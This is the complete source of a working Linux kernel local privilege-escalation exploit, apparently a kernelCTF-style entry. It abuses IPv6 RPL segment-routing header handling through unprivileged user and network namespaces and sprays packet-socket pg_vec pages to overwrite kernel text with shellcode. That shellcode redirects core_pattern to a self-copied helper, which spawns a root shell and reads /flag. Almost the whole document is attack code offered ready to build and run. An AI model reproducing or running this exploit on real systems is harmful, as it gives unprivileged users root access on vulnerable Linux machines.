#ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include INCBIN(target_db, "target_db.kxdb"); asm(".text"); #ifndef IPV6_SRCRT_TYPE_3 #define IPV6_SRCRT_TYPE_3 3 #endif #ifndef MFD_EXEC #define MFD_EXEC 0x0010U #endif #ifndef SYS_pidfd_send_signal #define SYS_pidfd_send_signal 424 #endif #ifndef SYS_pidfd_open #define SYS_pidfd_open 434 #endif #ifndef SYS_pidfd_getfd #define SYS_pidfd_getfd 438 #endif #ifndef TPACKET_V3 #define TPACKET_V3 2 #endif #define SYSCHK(x) \ ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) \ err(1, "SYSCHK(" #x ")"); \ __res; \ }) #define MAX_RETRY_COUNT 100 #define PAGE_SIZE 0x1000 #define TEXT_PAGE_COUNT 16 #define PATCH_PAGE_WINDOW_OFFSET 0x1e0000ULL #define CORE_PATTERN_PAYLOAD "|/proc/%P/fd/666" #define SELF_COPY_MAX 0xffffffffU #define PATCH_SIZE 72 #define PATCH_QWORDS (PATCH_SIZE / sizeof(uint64_t)) #define PATCH_CORE_PATTERN_REL32_OFF 19 #define PATCH_RET_OFF 56 #define PATCH_RET_NOP_START_OFF 57 #define PATCH_MSLEEP_REL32_OFF 66 #define CORE_PATTERN_STORE_OFFSET 24 #define IPV6_ADDR_LEN 16 #define RPL_BASE_HDR_LEN 8 #define RPL_CMPRI 5 #define RPL_CMPRE 15 #define RPL_SEGMENT_COUNT 5 #define RPL_SEGMENTS_LEFT 2 #define RPL_PAD_LEN 0 #define RPL_TRIGGER_SEGMENT_INDEX 4 #define RPL_MINIMAL_SEND_COUNT 32 #define SPRAY_PG_VEC_NUM 150 #define PGV_HOLE_COUNT 5 #define EXPLOIT_PAYLOAD_LEN 2000 #define EXPLOIT_PACKET_SEND_COUNT PGV_HOLE_COUNT #define PGV_BLOCK_SIZE PAGE_SIZE #define PGV_FRAME_SIZE 2048 #define PGV_RETIRE_TIMEOUT_MS 10000 #define PGV_PAGE_COUNT ((PAGE_SIZE - sizeof(uint64_t)) / sizeof(uint64_t)) #define PATCH_TRIGGER_RETRY_COUNT 20 #define PATCH_TRIGGER_RETRY_DELAY_US 100000 #define CORE_PATTERN_POLL_DELAY_US 100000 #define ATTEMPT_TIMEOUT_SEC 30 static unsigned long long xdk_off_entry_syscall_64; static unsigned long long xdk_off_core_pattern; static unsigned long long xdk_off_msleep; static unsigned long long xdk_off_patch_page; static uint8_t loopback_addr_pattern[6] = { 0, 0, 0xff, 0xff, 0xff, 0xff, }; static const unsigned long long text_page_signatures[TEXT_PAGE_COUNT] = { 0xed840f0100000821, 0xff08e9fffffff7c7, 0x5e415d415c415dc1, 0xffffffeac0c748ff, 0xfffb38ae8d4902c2, 0x243c814802c6e11c, 0x188bb8b4c0000, 0x4824048b48000188, 0x417501f883410676, 0x5bdf89480136ea3c, 0x4818ec834853fc89, 0x75ea394860438968, 0xf406b8944302454, 0xc2c74801247c8d48, 0x2404c748c031, 0x9090909090909090, }; static const unsigned long long text_page_patch_offsets[TEXT_PAGE_COUNT] = { 0xde0, 0xbe0, 0x860, 0x7f0, 0x100, 0x6b0, 0xd30, 0xea0, 0x100, 0x1b0, 0, 0x610, 0xb60, 0x790, 0xa20, 0xc0, }; static const unsigned char text_page_supported[TEXT_PAGE_COUNT] = { 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, }; static const unsigned char text_page_should_sleep[TEXT_PAGE_COUNT] = { 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, }; static const uint8_t core_pattern_patch_template[PATCH_SIZE] = { 0x31, 0xd2, 0xb9, 0x82, 0x00, 0x00, 0xc0, 0x0f, 0x32, 0x48, 0xc1, 0xe2, 0x20, 0x48, 0x01, 0xc2, 0x48, 0x81, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x48, 0x87, 0xe2, 0x68, 0x20, 0x25, 0x50, 0x00, 0x48, 0xb8, 0x50, 0x2f, 0x66, 0x64, 0x2f, 0x36, 0x36, 0x36, 0x50, 0x48, 0xb8, 0x7c, 0x2f, 0x70, 0x72, 0x6f, 0x63, 0x2f, 0x25, 0x50, 0x48, 0x87, 0xe2, 0x48, 0xc7, 0xc7, 0x00, 0x00, 0x00, 0x07, 0x48, 0x81, 0xea, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd2, }; static_assert(sizeof(core_pattern_patch_template) == PATCH_SIZE, "unexpected patch stub length"); static unsigned char core_pattern_patch[PATCH_SIZE]; static unsigned char core_pattern_patch_ret[PATCH_SIZE]; static int spray_pg_vec_fds[SPRAY_PG_VEC_NUM]; static void *spray_pg_vec_maps[SPRAY_PG_VEC_NUM]; static int spray_cmd_pipe[2]; static int spray_status_pipe[2]; static char spray_sync_byte; static const int pgv_hole_indices[PGV_HOLE_COUNT] = { 55, 66, 77, 88, 99, }; struct tpacket_req3 { unsigned int tp_block_size; unsigned int tp_block_nr; unsigned int tp_frame_size; unsigned int tp_frame_nr; unsigned int tp_retire_blk_tov; unsigned int tp_sizeof_priv; unsigned int tp_feature_req_word; }; struct ipv6_rpl_sr_hdr_wire { uint8_t nexthdr; uint8_t hdrlen; uint8_t type; uint8_t segments_left; uint8_t cmpri_cmpre; uint8_t pad_res; uint16_t reserved1; uint8_t data[]; } __attribute__((packed)); static int core_pattern_is_payload(int verbose); static void die(const char *msg) { perror(msg); exit(1); } static void die_msg(const char *msg) { fprintf(stderr, "%s\n", msg); exit(1); } static void write_filef(const char *path, const char *fmt, ...) { char buf[256]; va_list ap; int fd; int len; ssize_t nw; va_start(ap, fmt); len = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); if (len < 0 || (size_t)len >= sizeof(buf)) die_msg("vsnprintf failed"); fd = open(path, O_WRONLY | O_CLOEXEC); if (fd < 0) die(path); nw = write(fd, buf, (size_t)len); if (nw != len) { close(fd); die(path); } if (close(fd) < 0) die("close"); } static void write_all_or_die(int fd, const void *buf, size_t len) { if (write(fd, buf, len) != (ssize_t)len) die("write"); } static void read_all_or_die(int fd, void *buf, size_t len) { if (read(fd, buf, len) != (ssize_t)len) die("read"); } static void sync_signal_parent(void) { write_all_or_die(spray_status_pipe[1], &spray_sync_byte, 1); } static void sync_wait_parent(void) { read_all_or_die(spray_cmd_pipe[0], &spray_sync_byte, 1); } static void sync_signal_child(void) { write_all_or_die(spray_cmd_pipe[1], &spray_sync_byte, 1); } static void sync_wait_child(void) { read_all_or_die(spray_status_pipe[0], &spray_sync_byte, 1); } static void pin_to_cpu(int cpu) { cpu_set_t set; if (cpu < 0) return; CPU_ZERO(&set); CPU_SET((unsigned int)cpu, &set); SYSCHK(sched_setaffinity(0, sizeof(set), &set)); } static void setup_target_offsets(Target &target) { target.AddSymbol("entry_SYSCALL_64", 0x1600080ULL); target.AddSymbol("core_pattern", 0x2fb3440ULL); target.AddSymbol("patch_page", PATCH_PAGE_WINDOW_OFFSET); xdk_off_entry_syscall_64 = target.GetSymbolOffset("entry_SYSCALL_64"); xdk_off_core_pattern = target.GetSymbolOffset("core_pattern"); xdk_off_msleep = target.GetSymbolOffset("msleep"); xdk_off_patch_page = target.GetSymbolOffset("patch_page"); } static uint64_t leak_kaslr_base_xdk(void) { try { static TargetDb kxdb("target_db.kxdb", target_db); Target target = kxdb.AutoDetectTarget(); setup_target_offsets(target); uint64_t window_size = target.GetKernelPageCount(); uint64_t base = leak_kaslr_base(window_size, 100, 3); printf("[.] Target: %s %s\n", target.GetDistro().c_str(), target.GetReleaseName().c_str()); printf("[.] KASLR window size: %llu pages\n", (unsigned long long)window_size); printf("[!] Leaked KASLR base: 0x%llx\n", (unsigned long long)base); return base; } catch (const std::exception &e) { fprintf(stderr, "[-] kernelXDK failed: %s\n", e.what()); exit(1); } } static void payload_set_bytes(Payload &payload, size_t offset, const uint8_t *src, size_t len) { payload.Set(offset, (void *)src, len); } static void build_sleeping_core_pattern_patch(Payload &payload) { payload_set_bytes(payload, 0, core_pattern_patch_template, PATCH_CORE_PATTERN_REL32_OFF); payload.SetU32(PATCH_CORE_PATTERN_REL32_OFF, (uint32_t)(xdk_off_core_pattern + CORE_PATTERN_STORE_OFFSET - xdk_off_entry_syscall_64)); payload_set_bytes(payload, PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t), &core_pattern_patch_template [PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t)], PATCH_MSLEEP_REL32_OFF - (PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t))); payload.SetU32(PATCH_MSLEEP_REL32_OFF, (uint32_t)(xdk_off_core_pattern - xdk_off_msleep)); payload_set_bytes(payload, PATCH_MSLEEP_REL32_OFF + sizeof(uint32_t), &core_pattern_patch_template [PATCH_MSLEEP_REL32_OFF + sizeof(uint32_t)], PATCH_SIZE - (PATCH_MSLEEP_REL32_OFF + sizeof(uint32_t))); } static void build_returning_core_pattern_patch(Payload &payload) { static const uint8_t ret_opcode = 0xc3; uint8_t nops[PATCH_SIZE - PATCH_RET_NOP_START_OFF]; payload_set_bytes(payload, 0, core_pattern_patch_template, PATCH_CORE_PATTERN_REL32_OFF); payload.SetU32(PATCH_CORE_PATTERN_REL32_OFF, (uint32_t)(xdk_off_core_pattern + CORE_PATTERN_STORE_OFFSET - xdk_off_entry_syscall_64)); payload_set_bytes(payload, PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t), &core_pattern_patch_template [PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t)], PATCH_RET_OFF - (PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t))); payload_set_bytes(payload, PATCH_RET_OFF, &ret_opcode, sizeof(ret_opcode)); memset(nops, 0x90, sizeof(nops)); payload_set_bytes(payload, PATCH_RET_NOP_START_OFF, nops, sizeof(nops)); } static void rip_build_core_pattern_patches(void) { Payload sleeping_patch(PATCH_SIZE); Payload returning_patch(PATCH_SIZE); std::vector sleeping_patch_data; std::vector returning_patch_data; build_sleeping_core_pattern_patch(sleeping_patch); build_returning_core_pattern_patch(returning_patch); sleeping_patch_data = sleeping_patch.GetData(); returning_patch_data = returning_patch.GetData(); memcpy(core_pattern_patch, sleeping_patch_data.data(), PATCH_SIZE); memcpy(core_pattern_patch_ret, returning_patch_data.data(), PATCH_SIZE); } static void rip_trigger_module_autoload(void) { for (int family = 40; family < 56; family++) { int fd = socket(family, SOCK_STREAM | SOCK_CLOEXEC, 0); if (fd >= 0) close(fd); } } static void rip_trigger_workqueue_activity(void) { rip_trigger_module_autoload(); sync(); } static void rip_trigger_patch_page(int page) { int pidfd; struct rlimit oldlim; struct rusage ru; struct sysinfo si; struct utsname u; switch (page) { case 0: pidfd = (int)syscall(SYS_pidfd_open, getpid(), 0); if (pidfd >= 0) { (void)syscall(SYS_pidfd_send_signal, pidfd, 0, (siginfo_t *)NULL, 0); close(pidfd); } break; case 1: (void)umask(022); break; case 2: (void)uname(&u); break; case 3: (void)sysinfo(&si); break; case 4: (void)setpriority(PRIO_PROCESS, 0, 10); break; case 5: (void)syscall(SYS_prlimit64, 0, RLIMIT_NOFILE, (void *)NULL, &oldlim); break; case 6: if (setuid(getuid()) < 0) break; break; case 7: (void)getrusage(RUSAGE_SELF, &ru); break; case 8: (void)prctl(PR_SET_NAME, "hit_syscalls", 0, 0, 0); break; case 9: case 11: case 12: case 13: case 14: case 15: rip_trigger_workqueue_activity(); break; } } static void spray_packet_rx_ring_init(int fd, unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, unsigned int timeout) { int version = TPACKET_V3; struct tpacket_req3 req; SYSCHK(setsockopt(fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version))); memset(&req, 0, sizeof(req)); req.tp_block_size = block_size; req.tp_frame_size = frame_size; req.tp_block_nr = block_nr; req.tp_frame_nr = (block_size * block_nr) / frame_size; req.tp_retire_blk_tov = timeout; req.tp_sizeof_priv = sizeof_priv; SYSCHK(setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req))); } static int spray_packet_socket_setup(unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, unsigned int timeout) { int fd = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))); struct sockaddr_ll sa; spray_packet_rx_ring_init(fd, block_size, frame_size, block_nr, sizeof_priv, timeout); memset(&sa, 0, sizeof(sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("lo"); SYSCHK(bind(fd, (struct sockaddr *)&sa, sizeof(sa))); return fd; } static void rip_patch_text_page(uint64_t *mapped_page, int page) { const unsigned char *patch = text_page_should_sleep[page] ? core_pattern_patch : core_pattern_patch_ret; size_t qword_offset = text_page_patch_offsets[page] / sizeof(uint64_t); printf("[+] Found a match at %d!\n", page); if (!text_page_supported[page]) { puts("[-] unexpected text-page match, retrying"); return; } printf("Patching at offset %llu\n", text_page_patch_offsets[page]); for (size_t i = 0; i < PATCH_QWORDS; i++) { uint64_t patch_qword; memcpy(&patch_qword, &patch[i * sizeof(patch_qword)], sizeof(patch_qword)); mapped_page[qword_offset + i] = patch_qword; } for (int i = 0; i < PATCH_TRIGGER_RETRY_COUNT; i++) { rip_trigger_patch_page(page); if (!text_page_should_sleep[page] && core_pattern_is_payload(0)) break; usleep(PATCH_TRIGGER_RETRY_DELAY_US); } printf("Send win to parent...\n"); sleep(12); } static void spray_map_and_patch_pg_vec(void) { for (int i = 0; i < SPRAY_PG_VEC_NUM; i++) { uint64_t *mapped_page; if (!spray_pg_vec_fds[i]) continue; spray_pg_vec_maps[i] = mmap(NULL, PGV_PAGE_COUNT * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, spray_pg_vec_fds[i], 0); if (spray_pg_vec_maps[i] == MAP_FAILED) die("mmap(packet rx ring)"); mapped_page = (uint64_t *)((char *)spray_pg_vec_maps[i] + (PGV_PAGE_COUNT - 1) * PAGE_SIZE); for (int page = 0; page < TEXT_PAGE_COUNT; page++) { if (mapped_page[0] == text_page_signatures[page]) rip_patch_text_page(mapped_page, page); } } } static void spray_pg_vec_child(void) { pin_to_cpu(0); sync_wait_parent(); for (int i = 0; i < SPRAY_PG_VEC_NUM; i++) { spray_pg_vec_fds[i] = spray_packet_socket_setup( PGV_BLOCK_SIZE, PGV_FRAME_SIZE, PGV_PAGE_COUNT, 0, PGV_RETIRE_TIMEOUT_MS); } puts("pgv init done."); sync_signal_parent(); sync_wait_parent(); for (int i = 0; i < PGV_HOLE_COUNT; i++) { int idx = pgv_hole_indices[i]; close(spray_pg_vec_fds[idx]); spray_pg_vec_fds[idx] = 0; } puts("pgv free done."); sync_signal_parent(); sync_wait_parent(); spray_map_and_patch_pg_vec(); puts("pgv spray done"); sync_signal_parent(); _exit(0); } static void setup_loopback_up(void) { int fd; struct ifreq ifr; fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) die("socket(AF_INET, SOCK_DGRAM)"); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1); if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) { close(fd); die("ioctl(SIOCGIFFLAGS lo)"); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) { close(fd); die("ioctl(SIOCSIFFLAGS lo)"); } if (close(fd) < 0) die("close"); } static void netlink_addattr_l(struct nlmsghdr *nlh, size_t maxlen, int type, const void *data, size_t alen) { const size_t len = RTA_LENGTH(alen); const size_t newlen = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len); struct rtattr *rta; if (newlen > maxlen) die_msg("netlink attribute overflow"); rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = (unsigned short)len; if (alen) memcpy(RTA_DATA(rta), data, alen); nlh->nlmsg_len = (unsigned int)newlen; } static void setup_loopback_hwaddr_from_pattern(void) { enum { LO_ADDR_LEN = 6 }; enum { ACK_BUF_LEN = 4096 }; uint8_t lo_addr[LO_ADDR_LEN]; uint8_t ackbuf[ACK_BUF_LEN]; struct sockaddr_nl nladdr; struct nlmsghdr *h; struct nlmsgerr *err; int fd; ssize_t nread; size_t rem; struct { struct nlmsghdr nlh; struct ifinfomsg ifi; uint8_t attrbuf[64]; } req; for (size_t i = 0; i < LO_ADDR_LEN; i++) { lo_addr[i] = loopback_addr_pattern[i % sizeof(loopback_addr_pattern)]; } /* * Netdevices reject multicast source MACs; keep the selected target * bytes but force a unicast, locally administered first octet. */ lo_addr[0] = (uint8_t)((lo_addr[0] & 0xfeu) | 0x02u); fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE); if (fd < 0) die("socket(AF_NETLINK, NETLINK_ROUTE)"); memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req.ifi)); req.nlh.nlmsg_type = RTM_NEWLINK; req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; req.nlh.nlmsg_seq = 1; req.ifi.ifi_family = AF_UNSPEC; req.ifi.ifi_index = (int)if_nametoindex("lo"); if (req.ifi.ifi_index <= 0) { close(fd); die_msg("if_nametoindex(lo) failed"); } netlink_addattr_l(&req.nlh, sizeof(req), IFLA_ADDRESS, lo_addr, LO_ADDR_LEN); memset(&nladdr, 0, sizeof(nladdr)); nladdr.nl_family = AF_NETLINK; if (sendto(fd, &req, req.nlh.nlmsg_len, 0, (struct sockaddr *)&nladdr, sizeof(nladdr)) < 0) { close(fd); die("sendto(RTM_NEWLINK)"); } nread = recv(fd, ackbuf, sizeof(ackbuf), 0); if (nread < 0) { close(fd); die("recv(rtnetlink ack)"); } rem = (size_t)nread; for (h = (struct nlmsghdr *)ackbuf; NLMSG_OK(h, rem); h = NLMSG_NEXT(h, rem)) { if (h->nlmsg_type != NLMSG_ERROR) continue; err = (struct nlmsgerr *)NLMSG_DATA(h); if (!err) { close(fd); die_msg("malformed rtnetlink ack"); } if (err->error == 0) goto out; errno = -err->error; close(fd); die("RTM_NEWLINK IFLA_ADDRESS"); } close(fd); die_msg("missing rtnetlink ack"); out: if (close(fd) < 0) die("close"); } static void setup_usernet_sandbox(void) { uid_t uid = getuid(); gid_t gid = getgid(); if (unshare(CLONE_NEWUSER) < 0) die("unshare(CLONE_NEWUSER)"); /* Required on modern kernels before writing gid_map as an unprivileged user. */ write_filef("/proc/self/setgroups", "deny\n"); write_filef("/proc/self/uid_map", "0 %u 1\n", uid); write_filef("/proc/self/gid_map", "0 %u 1\n", gid); if (setresgid(0, 0, 0) < 0) die("setresgid"); if (setresuid(0, 0, 0) < 0) die("setresuid"); if (unshare(CLONE_NEWNET) < 0) die("unshare(CLONE_NEWNET)"); setup_loopback_hwaddr_from_pattern(); setup_loopback_up(); /* Enable RPL receive handling in this new netns. */ write_filef("/proc/sys/net/ipv6/conf/all/rpl_seg_enabled", "1\n"); write_filef("/proc/sys/net/ipv6/conf/lo/rpl_seg_enabled", "1\n"); } static size_t vuln_old_rpl_srh_len(void) { return RPL_BASE_HDR_LEN + RPL_SEGMENT_COUNT * (IPV6_ADDR_LEN - RPL_CMPRI) + (IPV6_ADDR_LEN - RPL_CMPRE) + RPL_PAD_LEN; } static void vuln_build_rpl_packet(uint8_t *packet, size_t packet_len) { const size_t old_rh_len = vuln_old_rpl_srh_len(); struct ip6_hdr *ip6; struct ipv6_rpl_sr_hdr_wire *rh; if (packet_len != sizeof(*ip6) + old_rh_len) { fprintf(stderr, "unexpected packet_len=%zu\n", packet_len); exit(1); } memset(packet, 0, packet_len); ip6 = (struct ip6_hdr *)packet; ip6->ip6_flow = htonl(6u << 28); ip6->ip6_plen = htons((uint16_t)old_rh_len); ip6->ip6_nxt = IPPROTO_ROUTING; ip6->ip6_hlim = 64; if (inet_pton(AF_INET6, "::1", &ip6->ip6_src) != 1) die("inet_pton src"); if (inet_pton(AF_INET6, "::1", &ip6->ip6_dst) != 1) die("inet_pton dst"); rh = (struct ipv6_rpl_sr_hdr_wire *)(packet + sizeof(*ip6)); rh->nexthdr = IPPROTO_NONE; rh->hdrlen = (uint8_t)((old_rh_len >> 3) - 1); rh->type = IPV6_SRCRT_TYPE_3; rh->segments_left = RPL_SEGMENTS_LEFT; rh->cmpri_cmpre = (RPL_CMPRI << 4) | RPL_CMPRE; rh->pad_res = RPL_PAD_LEN << 4; rh->reserved1 = 0; for (int seg_idx = 0; seg_idx < RPL_SEGMENT_COUNT; seg_idx++) { uint8_t *seg = &rh->data[seg_idx * (IPV6_ADDR_LEN - RPL_CMPRI)]; seg[0] = (uint8_t)(0x10 + seg_idx); for (int byte_idx = 1; byte_idx < IPV6_ADDR_LEN - RPL_CMPRI; byte_idx++) { seg[byte_idx] = (uint8_t)(seg_idx * 0x11 + byte_idx); } } /* Force CmprE to drop after the segment swap/recompression. */ rh->data[RPL_TRIGGER_SEGMENT_INDEX * (IPV6_ADDR_LEN - RPL_CMPRI)] = 0x44; rh->data[RPL_SEGMENT_COUNT * (IPV6_ADDR_LEN - RPL_CMPRI)] = 0x77; } static int vuln_open_raw_ipv6_socket(void) { int one = 1; int fd = SYSCHK(socket(AF_INET6, SOCK_RAW, IPPROTO_RAW)); SYSCHK(setsockopt(fd, IPPROTO_IPV6, IPV6_HDRINCL, &one, sizeof(one))); return fd; } static void vuln_init_loopback_sockaddr(struct sockaddr_in6 *sin6) { memset(sin6, 0, sizeof(*sin6)); sin6->sin6_family = AF_INET6; if (inet_pton(AF_INET6, "::1", &sin6->sin6_addr) != 1) die("inet_pton sendto"); } static int vuln_trigger_minimal(void) { const size_t packet_len = sizeof(struct ip6_hdr) + vuln_old_rpl_srh_len(); struct sockaddr_in6 sin6; uint8_t *packet; int fd; pin_to_cpu(0); setup_usernet_sandbox(); packet = (uint8_t *)calloc(1, packet_len); if (!packet) die("calloc"); vuln_build_rpl_packet(packet, packet_len); fd = vuln_open_raw_ipv6_socket(); vuln_init_loopback_sockaddr(&sin6); for (int i = 0; i < RPL_MINIMAL_SEND_COUNT; i++) { SYSCHK(sendto(fd, packet, packet_len, 0, (struct sockaddr *)&sin6, sizeof(sin6))); } close(fd); free(packet); fprintf(stderr, "sent %zu bytes x %d\n", packet_len, RPL_MINIMAL_SEND_COUNT); return 0; } static void vuln_build_pgvec_overwrite_packet(uint8_t *packet, size_t packet_len) { const size_t old_rh_len = vuln_old_rpl_srh_len(); struct ip6_hdr *ip6; if (packet_len != sizeof(*ip6) + old_rh_len + EXPLOIT_PAYLOAD_LEN) die_msg("unexpected pgvec-overwrite packet length"); vuln_build_rpl_packet(packet, sizeof(*ip6) + old_rh_len); ip6 = (struct ip6_hdr *)packet; ip6->ip6_plen = htons((uint16_t)(old_rh_len + EXPLOIT_PAYLOAD_LEN)); for (int i = 0; i < EXPLOIT_PAYLOAD_LEN; i++) { packet[sizeof(*ip6) + old_rh_len + i] = (uint8_t)(0xa0 + (i & 0x3f)); } } static int vuln_trigger_pgvec_overwrite_attempt(void) { const size_t old_rh_len = vuln_old_rpl_srh_len(); const size_t packet_len = sizeof(struct ip6_hdr) + old_rh_len + EXPLOIT_PAYLOAD_LEN; struct sockaddr_in6 sin6; uint8_t *packet; int fd; int child_pid; pin_to_cpu(0); setup_usernet_sandbox(); packet = (uint8_t *)calloc(1, packet_len); if (!packet) die("calloc"); vuln_build_pgvec_overwrite_packet(packet, packet_len); fd = vuln_open_raw_ipv6_socket(); vuln_init_loopback_sockaddr(&sin6); SYSCHK(pipe(spray_cmd_pipe)); SYSCHK(pipe(spray_status_pipe)); child_pid = SYSCHK(fork()); if (child_pid == 0) spray_pg_vec_child(); sync_signal_child(); sync_wait_child(); puts("Press Enter to send packets"); sync_signal_child(); sync_wait_child(); for (int i = 0; i < EXPLOIT_PACKET_SEND_COUNT; i++) { SYSCHK(sendto(fd, packet, packet_len, 0, (struct sockaddr *)&sin6, sizeof(sin6))); } sleep(1); sync_signal_child(); sync_wait_child(); puts("Done."); close(fd); free(packet); return 0; } static int core_pattern_is_payload(int verbose) { char buf[0x100] = {}; int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); ssize_t nread; if (core < 0) return 0; nread = read(core, buf, sizeof(buf) - 1); close(core); if (nread < 0) return 0; if (verbose) puts(buf); return strncmp(buf, CORE_PATTERN_PAYLOAD, strlen(CORE_PATTERN_PAYLOAD)) == 0; } static void setup_text_target_mac_bytes(unsigned long long base) { unsigned long long target = base + xdk_off_patch_page; /* * The MAC rebuild overwrites bytes 2..7 of pg_vec[510].buffer. Bytes * 0..1 are preserved, so only target bits 16..31 are selected here. */ loopback_addr_pattern[0] = (uint8_t)((target >> 16) & 0xff); loopback_addr_pattern[1] = (uint8_t)((target >> 24) & 0xff); printf("target: %llx\n", target); } static int core_pattern_helper_main(const char *pid_arg) { int pid = (int)strtoull(pid_arg, NULL, 10); int pidfd = syscall(SYS_pidfd_open, pid, 0); int stdinfd = syscall(SYS_pidfd_getfd, pidfd, STDIN_FILENO, 0); int stdoutfd = syscall(SYS_pidfd_getfd, pidfd, STDOUT_FILENO, 0); int stderrfd = syscall(SYS_pidfd_getfd, pidfd, STDERR_FILENO, 0); int status; dup2(stdinfd, STDIN_FILENO); dup2(stdoutfd, STDOUT_FILENO); dup2(stderrfd, STDERR_FILENO); status = system("cat /flag;cat /flag"); (void)status; status = system("whoami;id"); (void)status; status = system("cat /flag;echo o>/proc/sysrq-trigger"); (void)status; execlp("sh", "sh", NULL); return 0; } static void core_pattern_waiter_child(void) { int memfd; int self_exe_fd; pin_to_cpu(1); while (!core_pattern_is_payload(0)) usleep(CORE_PATTERN_POLL_DELAY_US); puts("[+] Ok lets finish it"); core_pattern_is_payload(1); sleep(1); setsid(); memfd = SYSCHK(memfd_create("", MFD_EXEC)); self_exe_fd = SYSCHK(open("/proc/self/exe", O_RDONLY)); SYSCHK(sendfile(memfd, self_exe_fd, 0, SELF_COPY_MAX)); close(self_exe_fd); dup2(memfd, 666); close(memfd); puts("Root shell !!"); /* Crash intentionally so core_pattern executes the fd 666 helper. */ *(volatile size_t *)NULL = 0; } static void stop_waiter(pid_t pid) { if (pid <= 0) return; kill(pid, SIGTERM); waitpid(pid, NULL, 0); } static void wait_for_helper_finish(void) { puts("[+] core_pattern is patched; waiting for helper/sysrq finish."); for (;;) pause(); } static int wait_for_attempt(pid_t pid, int *status) { for (int i = 0; i < ATTEMPT_TIMEOUT_SEC * 10; i++) { pid_t waited = waitpid(pid, status, WNOHANG); if (waited == pid) return 0; if (waited < 0 && errno != EINTR) die("waitpid"); if (core_pattern_is_payload(0)) return 1; usleep(100000); } printf("Attempt timed out after %d seconds, retrying...\n", ATTEMPT_TIMEOUT_SEC); kill(-pid, SIGKILL); kill(pid, SIGKILL); waitpid(pid, status, 0); return -1; } int main(int argc, char **argv) { unsigned long long base; pid_t waiter; int status = 0; if (argc > 1 && strcmp(argv[1], "--vuln-trigger") == 0) return vuln_trigger_minimal(); if (argc > 1) return core_pattern_helper_main(argv[1]); pin_to_cpu(1); base = leak_kaslr_base_xdk(); rip_build_core_pattern_patches(); printf("kernel base: %llx\n", base); setup_text_target_mac_bytes(base); printf("Core pattern at: %p\n", (void *)(base + xdk_off_core_pattern)); waiter = SYSCHK(fork()); if (waiter == 0) core_pattern_waiter_child(); for (int retry_count = 1; retry_count <= MAX_RETRY_COUNT; retry_count++) { pid_t pid; int wait_result; printf("[.] Try %d/%d.\n", retry_count, MAX_RETRY_COUNT); if (core_pattern_is_payload(0)) wait_for_helper_finish(); pid = SYSCHK(fork()); if (pid == 0) { (void)setpgid(0, 0); vuln_trigger_pgvec_overwrite_attempt(); _exit(0); } wait_result = wait_for_attempt(pid, &status); if (wait_result > 0) wait_for_helper_finish(); if (WIFSIGNALED(status)) { printf("Attempt %d exited by signal %d, retrying...\n", retry_count, WTERMSIG(status)); } if (core_pattern_is_payload(0)) wait_for_helper_finish(); } stop_waiter(waiter); printf("[-] Reached retry limit of %d attempts.\n", MAX_RETRY_COUNT); return 1; }